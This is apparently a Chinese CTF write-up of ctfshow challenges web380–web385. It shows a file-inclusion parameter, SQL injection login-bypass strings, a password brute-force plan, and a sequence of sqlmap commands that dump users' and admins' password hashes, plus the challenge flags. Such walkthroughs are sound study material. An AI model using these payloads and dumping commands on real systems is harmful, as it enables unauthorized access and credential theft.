目录
1、web380
源代码没有看到什么东西
页面点击可以跳转,但是未发现功能点
扫一下目录,存在 flag.php 和 page.php
访问 page.php,报错:
Notice: Undefined index: id in /var/www/html/page.php on line 16
打开$id.php失败
看样子是要给 $id 传参,尝试传入 1
/page.php?id=1
发现参数直接传给了 file_get_contents 函数,存在文件包含漏洞,后面自动拼接了 .php
构造 payload 包含 flag.php
/page.php?id=flag
查看源码
拿到 flag:ctfshow{866286a1-68d2-4687-afdc-84e31a62422c}
2、web381
和上一题页面相同,测试一下,会根据传入的 id 跳转到对应页面
目录扫描,不存在 flag.php
尝试访问源码的一些路径
在 /alsckdfy 找到 flag:ctfshow{30873496-7270-484f-8526-f1f79555e446}
3、web382
还是一样的页面,也是只扫到 page.php
/alsckdfy 已经换成了登录界面
抓包尝试密码爆破
未发现弱口令,页面回显 error
尝试 sql 注入
页面回显不一样,没有回显 error
尝试万能密码登录
1' or 1 #
拿到 flag:ctfshow{184f5526-f26a-4b66-9e33-7c048d837ff2}
4、web383
还是万能密码登录
1' or 1=1 #
拿到 flag:ctfshow{c4bc5ab4-d74d-49aa-8b17-1998808bf00c}
5、web384
有提示,估计是要密码爆破了
密码前2位是小写字母,后三位是数字
爆破位置设置两个
payload1 是任意两个小写字母组合
payload2 是任意三个数字组合
量太大了,676000,而且还是假设我们用户名猜对了是 admin
不跑了,密码是 xy123,这里应该是弱口令猜测
6、web385
密码改了,重新扫目录
有一个 install
尝试安装
/install/?install
但是默认密码也不知道啊,回到前面存在 sql 注入的那里查一下
抓一下 post 包
标注好注入点,扔给 sqlmap
sqlmap -r .\1.txt --batch
跑库
sqlmap -r .\1.txt --dbs --batch
有一个叫 ctftraining 的数据库
跑表名
sqlmap -r .\1.txt -D ctftraining --tables --batch
表有 FLAG_TABLE 、 users、news
我们这里并不是想拿 flag,而是想拿 admin 的密码,因此我们跑 users 表的字段
sqlmap -r .\1.txt -D ctftraining -T users --columns --batch
存在 password 字段,跑内容
sqlmap -r .\1.txt -D ctftraining -T users -C password --dump --batch
是 md5 加密后的,sqlmap自动帮我们爆破到了其中两个,另一个可以通过 cmd5 碰撞到
但是试了一下这些都不是默认密码
此外,我又去跑了 FLAG_TABLE 表和 news 表
没有发现什么和密码相关的字段
重新跑数据库,将数据库跑完,发现还有一个叫 ctfshow 的数据库
查表名
sqlmap -r .\1.txt -D ctfshow --tables --batch
只有一个表 admin_user ,应该就是在这儿了
查列名
sqlmap -r .\1.txt -D ctfshow -T admin_user --columns --batch
存在 password 字段
查内容
sqlmap -r .\1.txt -D ctfshow -T admin_user -C password --dump --batch
拿到默认密码 admin888
重开 web385 的题,尝试用默认密码直接登录,发现不行
那么我们就还是 install 后重置为默认密码再登录
登录即可拿到 flag